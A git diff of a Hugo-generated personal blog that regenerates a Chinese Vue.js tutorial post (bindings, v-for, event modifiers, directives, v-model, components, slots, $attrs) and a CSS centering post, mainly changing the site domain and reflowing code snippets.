+</code></pre><p>上面只有&lt;div>vuejs&lt;/div>接收到class</p><hr><p>内联样式绑定（:style）</p><p>例子：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
+    &lt;div :style=&quot;{ color: a, margin: b + 'px' }&quot;&gt;&lt;/div&gt;
+&lt;/div&gt;
+&lt;script&gt;
+const hallo = Vue.createApp({
+    data() {
+        return {
+            a: &quot;#ccc&quot;,
+            b: 300
+        }
+    },
+}).mount('#app')
+&lt;/script&gt;
+</code></pre><p>多重值</p><pre><code>&lt;div id=&quot;app&quot;&gt;
+    &lt;div :style=&quot;{ color: ['#ccc','#fff','#000']}&quot;&gt;&lt;/div&gt;
+&lt;/div&gt;
+</code></pre><p>一般来说只会选择最后一个（前提是浏览器支持）</p><hr><p>列表渲染</p><p>v-for可以将一个数组迭代成一组元素</p><p>使用的形式是 item in items，items为数组，item为迭代的元素，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
+    &lt;div v-for=&quot;item in items&quot; :key=&quot;item.message&quot;&gt;
+        {{ item.message }}
+    &lt;/div&gt;
+&lt;/div&gt;
+&lt;script&gt;
+const hallo = Vue.createApp({
+    data() {
+        return {
+            items: [{message: &quot;xyz&quot;},{message: &quot;abc&quot;},{message: &quot;hallo&quot;}]
+        }
+    },
+}).mount('#app')
+</code></pre><p>而:key的作用是为了更加效率的渲染dom，更快判断出某个不存在的元素，可以根据key动态来重新排列元素的顺序，key的目的是保证唯一性</p><p>v-for支持index参数，即当前的索引，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
+    &lt;div v-for=&quot;(item,index) in items&quot;&gt;
+        {{ index }}:{{ item.message }}
+    &lt;/div&gt;
+&lt;/div&gt;
+&lt;script&gt;
+const hallo = Vue.createApp({
+    data() {
+        return {
+            items: [{message: &quot;xyz&quot;},{message: &quot;abc&quot;},{message: &quot;hallo&quot;}]
+        }
+    },
+}).mount('#app')
+&lt;/script&gt;
+</code></pre><p>in可以用of替代</p><pre><code>&lt;div v-for=&quot;(item,index) of items&quot;&gt;
+</code></pre><p>v-for也可以使用对象(从某个角度来看，数组也是对象的一种)，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
+    &lt;div v-for=&quot;(item,key) of items&quot; &gt;
+        {{ key }}:{{ item }}
+    &lt;/div&gt;
+&lt;/div&gt;
+&lt;script&gt;
+const hallo = Vue.createApp({
+    data() {
+        return {
+            items: {
+                hallo: &quot;yes&quot;,
+                abc: &quot;2002&quot;,
+                xyz: &quot;np&quot;
+            }
+        }
+    },
+}).mount('#app')
+</code></pre><p>第二参数为键名，这里命名为key，实质上就是一个key</p><p>也可以加index做为第三个参数，作为索引值</p><p>vue在渲染元素时，如果数据的顺序发生改变，vue是不会将dom元素进行适配顺序，而是重新更新数据，确保正确渲染</p><p>v-for也支持整数</p><pre><code>&lt;div v-for=&quot;a in 6&quot; :key=&quot;a&quot;&gt;&lt;/div&gt;
+</code></pre><p>和遍历一样，会重复对应的次数</p><hr><p>事件处理</p><p>一般用v-on进行监听事件，例如：</p><pre><code>&lt;div v-on:click=&quot;boom&quot;&gt;&lt;/div&gt;
+</code></pre><p>多个事件用逗号,分开</p><p>可以简写为@click=&ldquo;boom&rdquo;，boom是方法，不推荐直接将逻辑写在事件v-on，而是使用一个方法来调用，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
+    &lt;div @click=&quot;boom('yes')&quot;&gt;
+        hallo
+    &lt;/div&gt;
+&lt;/div&gt;
+&lt;script&gt;
+const hallo = Vue.createApp({
+    data() {
+        return {
+            abc: &quot;hallo&quot;
+        }
+    },
+    methods: {
+        boom(a){
+            console.log(this.abc + &quot;boom&quot;)
+            console.log(a)
+        }
+    }
+}).mount('#app')
+</code></pre><p>按键修饰符</p><p>一般用于监听键盘事件，精确的知道某个按键是否被触发</p><p>.enter：顾名思义 回车键</p><p>.tab：tab键</p><p>.delete：删除或者退格</p><p>.esc：esc键</p><p>.space：空格键</p><p>.up：上键</p><p>.down：下键</p><p>.left：左键&lt;</p><p>.right: 右键></p><p>系统修饰符</p><p>.ctrl：ctrl键</p><p>.alt：alt键</p><p>.shift：shift键</p><p>.meta：在win为windows键，在mac为command键</p><p>例如：</p><pre><code>&lt;input @keydown.enter=&quot;submit&quot; /&gt;
+</code></pre><p>上面只要触发一个要求就会被触发</p><p>.exact：精确触发</p><p>@keydown.enter.exact // 只有当enter被按下时触发</p><p>@keydown.exact // 只有在没有任何系统修饰符被按下才触发</p><p>鼠标修饰符</p><p>@click.left：鼠标右键</p><p>@click.right：鼠标右键</p><p>@click.middle：鼠标中键</p><p>例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
+    &lt;test class=&quot;nav&quot;&gt;&lt;/test&gt;
+&lt;/div&gt;
+&lt;script&gt;
+const hallo = Vue.createApp({}).component(&quot;test&quot;,{
+    methods: {
+        entersubmit(){
+            console.log('回车事件已触发')
+        }
+        clickmouse(){
+            console.log('鼠标中键事件已触发')
+        }
+    }
+    template: `
+        &lt;input @keydown.enter.exact=&quot;submit&quot; /&gt;
+        &lt;div @click.middle = &quot;clickmouse&quot;&gt;hallo word&lt;/div&gt;
+        `
+}).mount('#app')
+&lt;/script&gt;
+</code></pre><hr><p>自定义指令（directive）</p><p>vue允许指定义指令，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
+    &lt;input type=&quot;text&quot; v-hallo&gt;
+&lt;/div&gt;
+&lt;script&gt;
+const app = Vue.createApp({})
+app.directive(&quot;hallo&quot;,{
+    mounted(abc) {
+        abc.focus()
+    },
+})
+app.mount('#app')
+&lt;/script&gt;
+</code></pre><p>这里的abc指定的是当前元素</p><p>局部指令：组件中接受directives选项</p><p>指令的钩子函数</p><p>created：当绑定元素的属性和事件监听器被应用之前调用</p><p>beforeMount：当指令第一次绑定到元素并且在挂载父组件之前调用</p><p>mounted：绑定元素的父组件被挂载后调用</p><p>beforeUpdate：更新包含组件的VNode之前调用</p><p>updated：包含组件的VNode及其子组件的VNode更新后调用</p><p>beforeUnmount：在卸载绑定元素的父组件之前调用</p><p>unmounted：当指令与元素解除绑定，并且父组件也被卸载时调用一次</p><hr><p>表单输入绑定</p><p>v-model可以用于数据的双向绑定，但是v-model会忽略表单元素的初始值，而使用实例中的数据作为数据源（需要在data中声明初始值）</p><p>复选框的数据绑定返回的是布尔值，也是可以将数据绑定到一个数组中，例如：</p><pre><code>&lt;div id=&quot;app&quot;&gt;
+    &lt;input type=&quot;checkbox&quot; value=&quot;hallo&quot; v-model=&quot;datas&quot;/&gt;
+    &lt;label for=&quot;hallo&quot;&gt;hallo&lt;/label&gt;
+    &lt;input type=&quot;checkbox&quot; value=&quot;abc&quot; v-model=&quot;datas&quot;/&gt;
+    &lt;label for=&quot;abc&quot;&gt;abc&lt;/label&gt;
+    &lt;input type=&quot;checkbox&quot; value=&quot;xyz&quot; v-model=&quot;datas&quot;/&gt;
+    &lt;label for=&quot;xyz&quot;&gt;xyz&lt;/label&gt;
+    &lt;p&gt;
+        data: {{datas}}
+    &lt;/p&gt;
+&lt;/div&gt;
+&lt;script&gt;
+const hallo = Vue.createApp({
+    data() {
+        return {
+            datas: []
+        }
+    },
+}).mount('#app')
+&lt;/script&gt;
+</code></pre><p>单选框（radio），数据存放在字符串中，输出的也是字符串（选择框和输入框也是字符串）</p><p>如果想输入或者选择返回的不是字符串，而是其他类型，可以使用v-model.number，当然也是可以进行手动转类型，但是v-model.number可以自动判断输入是否是数字还是字符串</p><p>true-value和false-value可以在被选中或者取消选中时触发，例如：</p><pre><code>data: {{datas}}
+&lt;input type=&quot;checkbox&quot; v-model.lazy=&quot;datas&quot; true-value=&quot;halloword&quot; false-value=&quot;hahahah&quot;/&gt;
+</code></pre><p>v-model.lazy是v-model数据双向绑定的懒加载，在每次input事件（失去焦点）触发后将输入框的值与数据进行同步</p><p>v-model.trim可以自动过滤掉输入数据的首尾空格</p><hr><p>组件</p><p>全局注册</p><p>app.component</p><p>局部注册</p><pre><code>const componentA = {}
+
+components: {
+    'component-a': componentA,
+}
+</code></pre><p>局部注册的组件，在其子组件是不可用的</p><p>通过Props传递数据给子组件</p><p>通过Props共享一些数据，例如：</p><pre><code>app.component('titles', {
+    props: ['title'],
+    template: `&lt;h3&gt;{{ title }}&lt;/h3&gt;`
+})
+
+&lt;titles title=&quot;hallo&quot;&gt;&lt;/titles&gt;
+</code></pre><p>在上面的例子里，title=&ldquo;hallo"被传递数据给模板，任何值的可以传递给props，如果一个值被传递给props属性，那么这个值就成了这个组件实例的共享数据，这个值可以在模板中访问</p><p>监听子组件事件</p><p>使用自定义事件监听子组件，通过子组件事件来告诉父组件应该做什么，例如：</p><pre><code>template: `
+    &lt;button @click=&quot;$emit('hallomain')&quot;&gt;
+        app
+    &lt;/button&gt;
+`
+
+&lt;div :style=&quot;{fontWeight: yes}&quot;&gt;
+    &lt;hallo @hallomain=&quot;yes += 1&quot;&gt;&lt;/hallo&gt;
+&lt;/div&gt;
+</code></pre><p>也可以在组件的emits中列出事件</p><pre><code>app.component({
+    emits: [&quot;hallomain&quot;]
+})
 </code></pre><p>事件也可以用来返回一个值
 &lt;button @click="$emit(&lsquo;hallomain&rsquo;,1)">
-app</p><pre><code>&lt;hallo @hallomain=&quot;yes += $event&quot;&gt;&lt;/hallo&gt;
-</code></pre><p>这个值可以使用$event访问到，事件也可以是指向方法的，用事件来触发方法的使用，例如：@hallomain= &ldquo;hallo&rdquo;</p><p>给这个方法定义一下，在methods选项</p><p>组件也可以使用v-model（model-value）</p><pre><code>&lt;hallo :model-value=&quot;hallomain&quot; @update:model-value=&quot;hallomain = $event&quot;&gt;&lt;/hallo&gt;
-</code></pre><p>如果是表单元素，例如input也想用自定义事件，需要将value绑定到props上，当input事件被触发时，就会将value通过自定义事件抛出，例如：</p><pre><code>app.component({
-    props: [&quot;valueData&quot;],
-    emits: [&quot;hallomain&quot;],
-    template: `
-        &lt;input :value=&quot;valueData&quot; @input=&quot;$emit(&quot;hallomain&quot;,$event.target.value)&quot;&gt;
-    `
-})
-</code></pre><p>vue允许向父组件传递给子组件一些内容，例如：</p><pre><code>template: `
-    &lt;div class=&quot;hallo&quot;&gt;
-        &lt;div&gt;hallo&lt;/div&gt;
-        &lt;slot&gt;&lt;/slot&gt;
-    &lt;/div&gt;
-`
-&lt;hallo&gt;vuejs&lt;/hallo&gt;
-</code></pre><p>通过vue的自定义元素来插入，父组件的vuejs插入到slot自定义元素中</p><p>如果一个子组件定义了多个slot元素，可以使用name属性和slot属性进行分配，例如：</p><pre><code>&lt;div slot=&quot;main&quot;&gt;&lt;/div&gt;
-</code></pre><p>发现name属性值和slot属性值相同时，就会分配该插槽到该元素中</p><p>单向数据流：父组件可以修改子组件数据，但是子组件不能修改父组件的数据</p><p>单向数据流的目的是确保组件的独立性，不然多个子组件都可以乱改父组件的数据，导致不知道按哪个数据为准了</p><p>如果想做到类似修改父组件，可以向获取父组件的数据到自己的data数据中，然后赋值给一个属性，通过修改该属性来做到类似修改了父组件的情况（实质上并没有影响到父组件），例如:</p><pre><code>app.component('hallo', {
-    props: ['num'],
-    data(){
-        return{
-            num: this.value
-        }
-    }
-    template: `&lt;div&gt;{{num}}&lt;/div&gt;`
-})
-</code></pre><p>在上面的例子中，value就是父组件的数据，将其获取到num中，然后就可以改变num了</p><p>Non-Props：当父组件发送一个参数给子组件，但是子组件没有接收到这个参数时，子组件会原封不动的复制到自己的属性上的特性，例如：</p><pre><code>const app = Vue.createApp({
-    template: `
-        &lt;div&gt;
-            &lt;hallo num='hahaha'/&gt;
-        &lt;/div
-    `
-})
-app.component('hallo', {
-    // props: ['num'],
-    template: `&lt;div&gt;hallo word&lt;/div&gt;`
-})
-const vm = app.mount(&quot;#app&quot;)
-</code></pre><p>可以利用Non-Props的特性，直接在父组件下，给子组件定义一些属性，例如style，class等等，只要子组件没有props接收该数据，都会原封不动的应用在自己的属性中</p><p>如果不想使用Non-Props的特性，又不想被影响，可以使用inheritAttrs属性</p><pre><code>app.component('hallo', {
-    inheritAttrs: false,
-    template: `&lt;div&gt;hallo word&lt;/div&gt;`
-})
-</code></pre><p>$attrs属性，当一个组件内部是多重嵌套，或者没有根时（指有多个同级元素），拥有该属性的元素才可以获取到利用Non-Props的特性传递的属性，实现属性穿透，而不用再手动传递了</p><pre><code>const app = Vue.createApp({
-    template: `
-        &lt;div&gt;
-            &lt;hallo num='hahaha'/&gt;
-        &lt;/div
-    `
-})
-app.component('hallo', {
-    template: `
-        &lt;div v-bind=&quot;$attrs&quot;&gt;
-            &lt;div&gt;
-                &lt;div&gt;
-                    &lt;div&gt;&lt;/div&gt;
-                    &lt;div v-bind=&quot;$attrs&quot;&gt;&lt;/div&gt;
-                    &lt;div&gt;&lt;/div&gt;
-                &lt;/div&gt;
-            &lt;/div&gt;
-            &lt;div v-bind=&quot;$attrs&quot;&gt;
-                hallo word
-            &lt;/div&gt;
-            &lt;div&gt;
-                hallo hahaha
-            &lt;/div&gt;
-        &lt;/div&gt;
-    `
-})
-</code></pre><p>在上面这个例子中，只有带有$attrs属性的元素才能获取该传递的属性</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://xiaochenabc123.github.io/tags/vuejs/>vuejs</a></li></ul><nav class=paginav><a class=prev href=https://xiaochenabc123.github.io/posts/24/><span class=title>« Prev</span><br><span>css常见布局</span></a>
-<a class=next href=https://xiaochenabc123.github.io/posts/22/><span class=title>Next »</span><br><span>HTML全局属性笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://xiaochenabc123.github.io/>小陈的个人博客</a></span>
+app</p><pre><code>&lt;hallo @hallomain=&quot;yes += $event&quot;&gt;&lt;/hallo&gt;
+</code></pre><p>这个值可以使用$event访问到，事件也可以是指向方法的，用事件来触发方法的使用，例如：@hallomain= &ldquo;hallo&rdquo;</p><p>给这个方法定义一下，在methods选项</p><p>组件也可以使用v-model（model-value）</p><pre><code>&lt;hallo :model-value=&quot;hallomain&quot; @update:model-value=&quot;hallomain = $event&quot;&gt;&lt;/hallo&gt;
+</code></pre><p>如果是表单元素，例如input也想用自定义事件，需要将value绑定到props上，当input事件被触发时，就会将value通过自定义事件抛出，例如：</p><pre><code>app.component({
+    props: [&quot;valueData&quot;],
+    emits: [&quot;hallomain&quot;],
+    template: `
+        &lt;input :value=&quot;valueData&quot; @input=&quot;$emit(&quot;hallomain&quot;,$event.target.value)&quot;&gt;
+    `
+})
+</code></pre><p>vue允许向父组件传递给子组件一些内容，例如：</p><pre><code>template: `
+    &lt;div class=&quot;hallo&quot;&gt;
+        &lt;div&gt;hallo&lt;/div&gt;
+        &lt;slot&gt;&lt;/slot&gt;
+    &lt;/div&gt;
+`
+&lt;hallo&gt;vuejs&lt;/hallo&gt;
+</code></pre><p>通过vue的自定义元素来插入，父组件的vuejs插入到slot自定义元素中</p><p>如果一个子组件定义了多个slot元素，可以使用name属性和slot属性进行分配，例如：</p><pre><code>&lt;div slot=&quot;main&quot;&gt;&lt;/div&gt;
+</code></pre><p>发现name属性值和slot属性值相同时，就会分配该插槽到该元素中</p><p>单向数据流：父组件可以修改子组件数据，但是子组件不能修改父组件的数据</p><p>单向数据流的目的是确保组件的独立性，不然多个子组件都可以乱改父组件的数据，导致不知道按哪个数据为准了</p><p>如果想做到类似修改父组件，可以向获取父组件的数据到自己的data数据中，然后赋值给一个属性，通过修改该属性来做到类似修改了父组件的情况（实质上并没有影响到父组件），例如:</p><pre><code>app.component('hallo', {
+    props: ['num'],
+    data(){
+        return{
+            num: this.value
+        }
+    }
+    template: `&lt;div&gt;{{num}}&lt;/div&gt;`
+})
+</code></pre><p>在上面的例子中，value就是父组件的数据，将其获取到num中，然后就可以改变num了</p><p>Non-Props：当父组件发送一个参数给子组件，但是子组件没有接收到这个参数时，子组件会原封不动的复制到自己的属性上的特性，例如：</p><pre><code>const app = Vue.createApp({
+    template: `
+        &lt;div&gt;
+            &lt;hallo num='hahaha'/&gt;
+        &lt;/div
+    `
+})
+app.component('hallo', {
+    // props: ['num'],
+    template: `&lt;div&gt;hallo word&lt;/div&gt;`
+})
+const vm = app.mount(&quot;#app&quot;)
+</code></pre><p>可以利用Non-Props的特性，直接在父组件下，给子组件定义一些属性，例如style，class等等，只要子组件没有props接收该数据，都会原封不动的应用在自己的属性中</p><p>如果不想使用Non-Props的特性，又不想被影响，可以使用inheritAttrs属性</p><pre><code>app.component('hallo', {
+    inheritAttrs: false,
+    template: `&lt;div&gt;hallo word&lt;/div&gt;`
+})
+</code></pre><p>$attrs属性，当一个组件内部是多重嵌套，或者没有根时（指有多个同级元素），拥有该属性的元素才可以获取到利用Non-Props的特性传递的属性，实现属性穿透，而不用再手动传递了</p><pre><code>const app = Vue.createApp({
+    template: `
+        &lt;div&gt;
+            &lt;hallo num='hahaha'/&gt;
+        &lt;/div
+    `
+})
+app.component('hallo', {
+    template: `
+        &lt;div v-bind=&quot;$attrs&quot;&gt;
+            &lt;div&gt;
+                &lt;div&gt;
+                    &lt;div&gt;&lt;/div&gt;
+                    &lt;div v-bind=&quot;$attrs&quot;&gt;&lt;/div&gt;
+                    &lt;div&gt;&lt;/div&gt;
+                &lt;/div&gt;
+            &lt;/div&gt;
+            &lt;div v-bind=&quot;$attrs&quot;&gt;
+                hallo word
+            &lt;/div&gt;
+            &lt;div&gt;
+                hallo hahaha
+            &lt;/div&gt;
+        &lt;/div&gt;
+    `
+})
+</code></pre><p>在上面这个例子中，只有带有$attrs属性的元素才能获取该传递的属性</p></div><footer class=post-footer><ul class=post-tags><li><a href=https://chenjunlinabc.github.io/tags/vuejs/>vuejs</a></li></ul><nav class=paginav><a class=prev href=https://chenjunlinabc.github.io/posts/24/><span class=title>« Prev</span><br><span>css常见布局</span></a>
+<a class=next href=https://chenjunlinabc.github.io/posts/22/><span class=title>Next »</span><br><span>HTML全局属性笔记</span></a></nav></footer></article></main><footer class=footer><span>&copy; 2023 <a href=https://chenjunlinabc.github.io/>小陈的个人博客</a></span>
 <span>Powered by
 <a href=https://gohugo.io/ rel="noopener noreferrer" target=_blank>Hugo</a> &
         <a href=https://github.com/adityatelange/hugo-PaperMod/ rel=noopener target=_blank>PaperMod</a></span></footer><a href=#top aria-label="go to top" title="Go to Top (Alt + G)" class=top-link id=top-link accesskey=g><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 12 6" fill="currentcolor"><path d="M12 6H0l6-6z"/></svg></a><script>let menu=document.getElementById("menu");menu&&(menu.scrollLeft=localStorage.getItem("menu-scroll-position"),menu.onscroll=function(){localStorage.setItem("menu-scroll-position",menu.scrollLeft)}),document.querySelectorAll('a[href^="#"]').forEach(e=>{e.addEventListener("click",function(e){e.preventDefault();var t=this.getAttribute("href").substr(1);window.matchMedia("(prefers-reduced-motion: reduce)").matches?document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView():document.querySelector(`[id='${decodeURIComponent(t)}']`).scrollIntoView({behavior:"smooth"}),t==="top"?history.replaceState(null,null," "):history.pushState(null,null,`#${t}`)})})</script><script>var mybutton=document.getElementById("top-link");window.onscroll=function(){document.body.scrollTop>800||document.documentElement.scrollTop>800?(mybutton.style.visibility="visible",mybutton.style.opacity="1"):(mybutton.style.visibility="hidden",mybutton.style.opacity="0")}</script><script>document.getElementById("theme-toggle").addEventListener("click",()=>{document.body.className.includes("dark")?(document.body.classList.remove("dark"),localStorage.setItem("pref-theme","light")):(document.body.classList.add("dark"),localStorage.setItem("pref-theme","dark"))})</script><script>document.querySelectorAll("pre > code").forEach(e=>{const n=e.parentNode.parentNode,t=document.createElement("button");t.classList.add("copy-code"),t.innerHTML="copy";function s(){t.innerHTML="copied!",setTimeout(()=>{t.innerHTML="copy"},2e3)}t.addEventListener("click",t=>{if("clipboard"in navigator){navigator.clipboard.writeText(e.textContent),s();return}const n=document.createRange();n.selectNodeContents(e);const o=window.getSelection();o.removeAllRanges(),o.addRange(n);try{document.execCommand("copy"),s()}catch{}o.removeRange(n)}),n.classList.contains("highlight")?n.appendChild(t):n.parentNode.firstChild==n||(e.parentNode.parentNode.parentNode.parentNode.parentNode.nodeName=="TABLE"?e.parentNode.parentNode.parentNode.parentNode.parentNode.appendChild(t):e.parentNode.appendChild(t))})</script></body></html>
\ No newline at end of file
diff --git a/posts/24/index.html b/posts/24/index.html
index 882974c6..cb04816f 100644
--- a/posts/24/index.html
+++ b/posts/24/index.html
@@ -2,243 +2,243 @@
 分水平居中和垂直居中，水平+垂直居中
 水平居中：当前元素在父级元素容器中，水平方向是居中显示的
 inline-block+text-algin
-#app{
text-align: center;
// 父元素，文本内容居中对齐
}
.child{
display: inline-block;
// 子元素，行内块级元素
}
优点：浏览器兼容性好（css2）
+#app{ text-align: center; // 父元素，文本内容居中对齐 } .child{ display: inline-block; // 子元素，行内块级元素 } 优点：浏览器兼容性好（css2）
 缺点：text-align具有继承性，会导致子元素的文本也是居中的
 table+margin
-.child{
display: table; // 也可以为block
margin: 0 auto;
// 子元素，margin外边距，上下为0，左右为auto（浏览器自动分配）
}
优点：只需要对子元素设置，就可以实现效果
+.child{ display: table; // 也可以为block margin: 0 auto; // 子元素，margin外边距，上下为0，左右为auto（浏览器自动分配） } 优点：只需要对子元素设置，就可以实现效果
 缺点：如果子元素脱离正常流，将会导致margin属性的值无效化
 absolute+transform
-#app{
position: relative; // 父元素相对定位
}
.child{
position: absolute; // 子元素绝对定位，如果父元素没有定位，那么该元素是相对于页面定位，父元素定位了，那么该元素是相对于父元素的
left: 50%; // 相对于父元素左边50% transform: translateX(-50%); // 子元素水平平移-50%（左负数，右正数）
}
优点：父元素是否脱离正常流，也是不影响子元素的水平居中效果
+#app{ position: relative; // 父元素相对定位 } .child{ position: absolute; // 子元素绝对定位，如果父元素没有定位，那么该元素是相对于页面定位，父元素定位了，那么该元素是相对于父元素的 left: 50%; // 相对于父元素左边50% transform: translateX(-50%); // 子元素水平平移-50%（左负数，右正数） } 优点：父元素是否脱离正常流，也是不影响子元素的水平居中效果
 缺点：transform属性是css3的新属性，浏览器兼容性比较差
 垂直居中：当前元素在父级元素容器中，垂直方向是居中显示的
 table-cell+vertical-algin
-#app{
// 父元素
display: table-cell;
vertical-align: middle; // 设置文本的垂直方向对齐方式
}
优点：浏览器兼容性好
+#app{ // 父元素 display: table-cell; vertical-align: middle; // 设置文本的垂直方向对齐方式 } 优点：浏览器兼容性好
 缺点：vertical-align属性具有继承性
-absolute+transform"><meta name=author content="Me"><link rel=canonical href=https://xiaochenabc123.github.io/posts/24/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.3613efbd0b1772781e8f49935e973cae632a7f61471c05b17be155505ccf87b5.css integrity="sha256-NhPvvQsXcngej0mTXpc8rmMqf2FHHAWxe+FVUFzPh7U=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
-<link rel=icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://xiaochenabc123.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://xiaochenabc123.github.io/favicon.ico><link rel=apple-touch-icon href=https://xiaochenabc123.github.io/favicon.ico><link rel=mask-icon href=https://xiaochenabc123.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="css常见布局"><meta property="og:description" content="居中布局
+absolute+transform"><meta name=author content="Me"><link rel=canonical href=https://chenjunlinabc.github.io/posts/24/><meta name=google-site-verification content="XYZabc"><meta name=yandex-verification content="XYZabc"><meta name=msvalidate.01 content="XYZabc"><link crossorigin=anonymous href=/assets/css/stylesheet.5cfc680b1eeaeef9efbced92d46c2a9e876b72ee14fba85846afc4cff9e6e6f8.css integrity="sha256-XPxoCx7q7vnvvO2S1Gwqnodrcu4U+6hYRq/Ez/nm5vg=" rel="preload stylesheet" as=style><script defer crossorigin=anonymous src=/assets/js/highlight.f413e19d0714851f6474e7ee9632408e58ac146fbdbe62747134bea2fa3415e0.js integrity="sha256-9BPhnQcUhR9kdOfuljJAjlisFG+9vmJ0cTS+ovo0FeA=" onload=hljs.initHighlightingOnLoad()></script>
+<link rel=icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=16x16 href=https://chenjunlinabc.github.io/favicon.ico><link rel=icon type=image/png sizes=32x32 href=https://chenjunlinabc.github.io/favicon.ico><link rel=apple-touch-icon href=https://chenjunlinabc.github.io/favicon.ico><link rel=mask-icon href=https://chenjunlinabc.github.io/favicon.ico><meta name=theme-color content="#2e2e33"><meta name=msapplication-TileColor content="#2e2e33"><noscript><style>#theme-toggle,.top-link{display:none}</style><style>@media(prefers-color-scheme:dark){:root{--theme:rgb(29, 30, 32);--entry:rgb(46, 46, 51);--primary:rgb(218, 218, 219);--secondary:rgb(155, 156, 157);--tertiary:rgb(65, 66, 68);--content:rgb(196, 196, 197);--hljs-bg:rgb(46, 46, 51);--code-bg:rgb(55, 56, 62);--border:rgb(51, 51, 51)}.list{background:var(--theme)}.list:not(.dark)::-webkit-scrollbar-track{background:0 0}.list:not(.dark)::-webkit-scrollbar-thumb{border-color:var(--theme)}}</style></noscript><script type=application/javascript>var doNotTrack=!1;doNotTrack||(function(e,t,n,s,o,i,a){e.GoogleAnalyticsObject=o,e[o]=e[o]||function(){(e[o].q=e[o].q||[]).push(arguments)},e[o].l=1*new Date,i=t.createElement(n),a=t.getElementsByTagName(n)[0],i.async=1,i.src=s,a.parentNode.insertBefore(i,a)}(window,document,"script","https://www.google-analytics.com/analytics.js","ga"),ga("create","UA-123-45","auto"),ga("send","pageview"))</script><meta property="og:title" content="css常见布局"><meta property="og:description" content="居中布局
 分水平居中和垂直居中，水平+垂直居中
 水平居中：当前元素在父级元素容器中，水平方向是居中显示的
 inline-block+text-algin
-#app{
text-align: center;
// 父元素，文本内容居中对齐
}
.child{
display: inline-block;
// 子元素，行内块级元素
}
优点：浏览器兼容性好（css2）
+#app{ text-align: center; // 父元素，文本内容居中对齐 } .child{ display: inline-block; // 子元素，行内块级元素 } 优点：浏览器兼容性好（css2）
 缺点：text-align具有继承性，会导致子元素的文本也是居中的
 table+margin
-.child{
display: table; // 也可以为block
margin: 0 auto;
// 子元素，margin外边距，上下为0，左右为auto（浏览器自动分配）
}
优点：只需要对子元素设置，就可以实现效果
+.child{ display: table; // 也可以为block margin: 0 auto; // 子元素，margin外边距，上下为0，左右为auto（浏览器自动分配） } 优点：只需要对子元素设置，就可以实现效果
 缺点：如果子元素脱离正常流，将会导致margin属性的值无效化
 absolute+transform
-#app{
position: relative; // 父元素相对定位
}
.child{
position: absolute; // 子元素绝对定位，如果父元素没有定位，那么该元素是相对于页面定位，父元素定位了，那么该元素是相对于父元素的
left: 50%; // 相对于父元素左边50% transform: translateX(-50%); // 子元素水平平移-50%（左负数，右正数）
}
优点：父元素是否脱离正常流，也是不影响子元素的水平居中效果
+#app{ position: relative; // 父元素相对定位 } .child{ position: absolute; // 子元素绝对定位，如果父元素没有定位，那么该元素是相对于页面定位，父元素定位了，那么该元素是相对于父元素的 left: 50%; // 相对于父元素左边50% transform: translateX(-50%); // 子元素水平平移-50%（左负数，右正数） } 优点：父元素是否脱离正常流，也是不影响子元素的水平居中效果
 缺点：transform属性是css3的新属性，浏览器兼容性比较差
 垂直居中：当前元素在父级元素容器中，垂直方向是居中显示的
 table-cell+vertical-algin
-#app{
// 父元素
display: table-cell;
vertical-align: middle; // 设置文本的垂直方向对齐方式
}
优点：浏览器兼容性好
+#app{ // 父元素 display: table-cell; vertical-align: middle; // 设置文本的垂直方向对齐方式 } 优点：浏览器兼容性好
 缺点：vertical-align属性具有继承性
-absolute+transform"><meta property="og:type" content="article"><meta property="og:url" content="https://xiaochenabc123.github.io/posts/24/"><meta property="og:image" content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta property="article:section" content="posts"><meta property="article:published_time" content="2021-06-16T13:23:00+00:00"><meta property="article:modified_time" content="2021-06-16T13:23:00+00:00"><meta property="og:site_name" content="ExampleSite"><meta name=twitter:card content="summary_large_image"><meta name=twitter:image content="https://xiaochenabc123.github.io/%3Clink%20or%20path%20of%20image%20for%20opengraph,%20twitter-cards%3E"><meta name=twitter:title content="css常见布局"><meta name=twitter:description content="居中布局
